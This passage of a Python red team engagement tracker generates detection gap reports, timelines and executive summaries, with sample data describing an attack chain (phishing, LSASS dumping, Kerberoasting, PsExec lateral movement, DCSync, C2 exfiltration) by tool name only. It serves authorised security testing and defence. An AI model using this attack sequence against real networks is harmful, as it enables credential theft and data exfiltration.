        print(f"[+] ATT&CK Navigator layer saved to: {output_path}")
        return navigator_layer

    def generate_detection_gap_report(self) -> str:
        """Generate a detection gap analysis report."""
        metrics = self.calculate_metrics()
        lines = []
        lines.append("=" * 70)
        lines.append("DETECTION GAP ANALYSIS REPORT")
        lines.append(f"Engagement: {self.config.engagement_id}")
        lines.append(f"Client: {self.config.client_name}")
        lines.append(f"Period: {self.config.start_date} to {self.config.end_date}")
        lines.append("=" * 70)
        lines.append("")
        lines.append(f"Overall Detection Rate: {metrics['detection_rate']:.1f}%")
        lines.append(f"TTP Coverage: {metrics['ttp_coverage_pct']:.1f}%")
        if metrics["mttd_hours"]:
            lines.append(f"Mean Time to Detect: {metrics['mttd_hours']:.1f} hours")
        lines.append("")
        lines.append("-" * 70)
        lines.append("TACTIC-LEVEL DETECTION RATES")
        lines.append("-" * 70)

        for tactic_name, stats in metrics.get("tactic_detection_rates", {}).items():
            bar = "#" * int(stats["rate"] / 5) + "-" * (20 - int(stats["rate"] / 5))
            lines.append(
                f"  {tactic_name:<25} [{bar}] {stats['rate']:.0f}% "
                f"({stats['detected']}/{stats['total']})"
            )

        lines.append("")
        lines.append("-" * 70)
        lines.append("UNDETECTED TECHNIQUES (GAPS)")
        lines.append("-" * 70)

        for tid in metrics.get("undetected_techniques", []):
            tech_info = COMMON_TECHNIQUES.get(tid, {})
            name = tech_info.get("name", "Unknown")
            lines.append(f"  [!] {tid} - {name}")
            relevant_actions = [
                a for a in self.actions if a.mitre_technique_id == tid and not a.detected
            ]
            for action in relevant_actions:
                lines.append(f"      Tool: {action.tool_used} | Target: {action.target_host}")

        lines.append("")
        lines.append("-" * 70)
        lines.append("RECOMMENDATIONS")
        lines.append("-" * 70)

        for tid in metrics.get("undetected_techniques", []):
            tech_info = COMMON_TECHNIQUES.get(tid, {})
            name = tech_info.get("name", "Unknown")
            lines.append(f"  [{tid}] {name}")
            if tid == "T1003.001":
                lines.append("    -> Enable Credential Guard and LSASS protection")
                lines.append("    -> Deploy Sysmon with EventID 10 (ProcessAccess) rules")
            elif tid == "T1558.003":
                lines.append("    -> Use Group Managed Service Accounts (gMSA)")
                lines.append("    -> Monitor EventID 4769 for RC4 ticket requests")
            elif tid == "T1055":
                lines.append("    -> Deploy EDR with memory scanning capabilities")
                lines.append("    -> Monitor for cross-process injection (Sysmon EventID 8)")
            elif tid == "T1021.002":
                lines.append("    -> Restrict lateral movement with Windows Firewall")
                lines.append("    -> Monitor for EventID 5140/5145 (network share access)")
            elif tid == "T1550.002":
                lines.append("    -> Enable Restricted Admin Mode for RDP")
                lines.append("    -> Deploy Windows Defender Credential Guard")
            else:
                lines.append("    -> Review MITRE ATT&CK mitigations for this technique")
                lines.append("    -> Create detection rule in SIEM for related events")

        report_text = "\n".join(lines)

        report_path = os.path.join(
            self.output_dir, f"{self.config.engagement_id}_gap_report.txt"
        )
        with open(report_path, "w") as f:
            f.write(report_text)

        print(f"[+] Gap report saved to: {report_path}")
        return report_text

    def export_timeline_csv(self) -> str:
        """Export engagement timeline as CSV for analysis."""
        csv_path = os.path.join(
            self.output_dir, f"{self.config.engagement_id}_timeline.csv"
        )
        with open(csv_path, "w", newline="") as f:
            writer = csv.writer(f)
            writer.writerow([
                "Timestamp", "Phase", "Tactic", "Technique ID", "Technique Name",
                "Description", "Target", "Tool", "Outcome", "Detected",
                "Detection Time", "Detection Source", "Operator",
            ])
            for action in sorted(self.actions, key=lambda a: a.timestamp):
                writer.writerow([
                    action.timestamp, action.phase, action.mitre_tactic,
                    action.mitre_technique_id, action.mitre_technique_name,
                    action.description, action.target_host, action.tool_used,
                    action.outcome, action.detected, action.detection_time,
                    action.detection_source, action.operator,
                ])

        print(f"[+] Timeline CSV saved to: {csv_path}")
        return csv_path

    def generate_executive_summary(self) -> str:
        """Generate executive summary for leadership."""
        metrics = self.calculate_metrics()
        summary = f"""
EXECUTIVE SUMMARY - RED TEAM ENGAGEMENT
========================================
Engagement ID: {self.config.engagement_id}
Client: {self.config.client_name}
Period: {self.config.start_date} to {self.config.end_date}
Threat Profile: {self.config.threat_profile}

KEY FINDINGS:
- {metrics['unique_techniques_used']} unique ATT&CK techniques were executed
- {metrics['detection_rate']:.0f}% of red team actions were detected by the SOC
- {metrics['ttp_coverage_pct']:.0f}% of techniques used had at least one detection
- {len(metrics.get('undetected_techniques', []))} technique(s) had ZERO detection coverage
- {metrics['objectives_achieved']}/{metrics['objectives_total']} engagement objectives achieved

RISK RATING: {'CRITICAL' if metrics['detection_rate'] < 30 else 'HIGH' if metrics['detection_rate'] < 50 else 'MEDIUM' if metrics['detection_rate'] < 70 else 'LOW'}

The red team {'successfully' if metrics['success_rate'] > 50 else 'partially'} achieved the defined objectives,
demonstrating that the organization's current security posture requires
{'immediate remediation' if metrics['detection_rate'] < 30 else 'significant improvement' if metrics['detection_rate'] < 50 else 'targeted improvements' if metrics['detection_rate'] < 70 else 'minor tuning'}.
"""
        return summary


def main():
    """Demonstrate the engagement tracker with sample data."""
    config = EngagementConfig(
        engagement_id="RT-2025-001",
        client_name="Example Corp",
        start_date="2025-01-15",
        end_date="2025-02-15",
        scope=["10.0.0.0/8", "*.example.com"],
        out_of_scope=["10.0.99.0/24", "production-db.example.com"],
        objectives=[
            {"name": "Achieve Domain Admin", "achieved": True},
            {"name": "Exfiltrate PII data", "achieved": True},
            {"name": "Access SCADA network", "achieved": False},
        ],
        threat_profile="APT29 (Cozy Bear)",
        emergency_contact="CISO: +1-555-0100",
    )

    tracker = RedTeamEngagementTracker(config)

    sample_actions = [
        RedTeamAction(
            timestamp="2025-01-16T09:00:00",
            phase="reconnaissance",
            mitre_tactic="TA0043",
            mitre_technique_id="T1593",
            mitre_technique_name="Search Open Websites/Domains",
            description="Subdomain enumeration using Amass",
            target_host="example.com",
            tool_used="Amass",
            outcome="success",
            detected=False,
            operator="operator1",
        ),
        RedTeamAction(
            timestamp="2025-01-20T14:30:00",
            phase="initial_access",
            mitre_tactic="TA0001",
            mitre_technique_id="T1566.001",
            mitre_technique_name="Spearphishing Attachment",
            description="Sent phishing email with macro-enabled document to HR team",
            target_host="mail.example.com",
            tool_used="GoPhish",
            outcome="success",
            detected=True,
            detection_time="2025-01-20T15:45:00",
            detection_source="Proofpoint Email Gateway",
            operator="operator1",
        ),
        RedTeamAction(
            timestamp="2025-01-22T10:00:00",
            phase="execution",
            mitre_tactic="TA0002",
            mitre_technique_id="T1059.001",
            mitre_technique_name="PowerShell",
            description="Executed PowerShell stager on workstation WS-042",
            target_host="WS-042.example.com",
            tool_used="Havoc C2",
            outcome="success",
            detected=False,
            operator="operator2",
        ),
        RedTeamAction(
            timestamp="2025-01-23T08:15:00",
            phase="credential_access",
            mitre_tactic="TA0006",
            mitre_technique_id="T1003.001",
            mitre_technique_name="LSASS Memory",
            description="Dumped LSASS process memory using SafetyKatz",
            target_host="WS-042.example.com",
            tool_used="SafetyKatz",
            outcome="success",
            detected=True,
            detection_time="2025-01-23T08:20:00",
            detection_source="CrowdStrike Falcon",
            operator="operator2",
        ),
        RedTeamAction(
            timestamp="2025-01-24T11:00:00",
            phase="credential_access",
            mitre_tactic="TA0006",
            mitre_technique_id="T1558.003",
            mitre_technique_name="Kerberoasting",
            description="Kerberoasted 15 service accounts using Rubeus",
            target_host="DC01.example.com",
            tool_used="Rubeus",
            outcome="success",
            detected=False,
            operator="operator1",
        ),
        RedTeamAction(
            timestamp="2025-01-25T14:00:00",
            phase="lateral_movement",
            mitre_tactic="TA0008",
            mitre_technique_id="T1021.002",
            mitre_technique_name="SMB/Windows Admin Shares",
            description="Lateral movement to file server via PsExec",
            target_host="FS01.example.com",
            tool_used="Impacket PsExec",
            outcome="success",
            detected=False,
            operator="operator2",
        ),
        RedTeamAction(
            timestamp="2025-01-28T09:30:00",
            phase="credential_access",
            mitre_tactic="TA0006",
            mitre_technique_id="T1003.006",
            mitre_technique_name="DCSync",
            description="DCSync to extract all domain password hashes",
            target_host="DC01.example.com",
            tool_used="Impacket secretsdump",
            outcome="success",
            detected=True,
            detection_time="2025-01-28T10:15:00",
            detection_source="Microsoft Defender for Identity",
            operator="operator1",
        ),
        RedTeamAction(
            timestamp="2025-01-30T16:00:00",
            phase="exfiltration",
            mitre_tactic="TA0010",
            mitre_technique_id="T1041",
            mitre_technique_name="Exfiltration Over C2 Channel",
            description="Exfiltrated 50MB of staged PII data over C2 HTTPS",
            target_host="FS01.example.com",
            tool_used="Havoc C2",
            outcome="success",
            detected=False,
            operator="operator2",
        ),
    ]

    for action in sample_actions:
        tracker.log_action(action)

    print("\n" + "=" * 70)
    print("GENERATING REPORTS")
    print("=" * 70)

    tracker.generate_attack_heatmap()
    tracker.export_timeline_csv()
    print(tracker.generate_detection_gap_report())
    print(tracker.generate_executive_summary())

    metrics = tracker.calculate_metrics()
    metrics_path = os.path.join(
        tracker.output_dir, f"{config.engagement_id}_metrics.json"
    )
    with open(metrics_path, "w") as f:
        json.dump(metrics, f, indent=2, default=str)
    print(f"[+] Metrics saved to: {metrics_path}")


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 6.8 KB
Keep exploring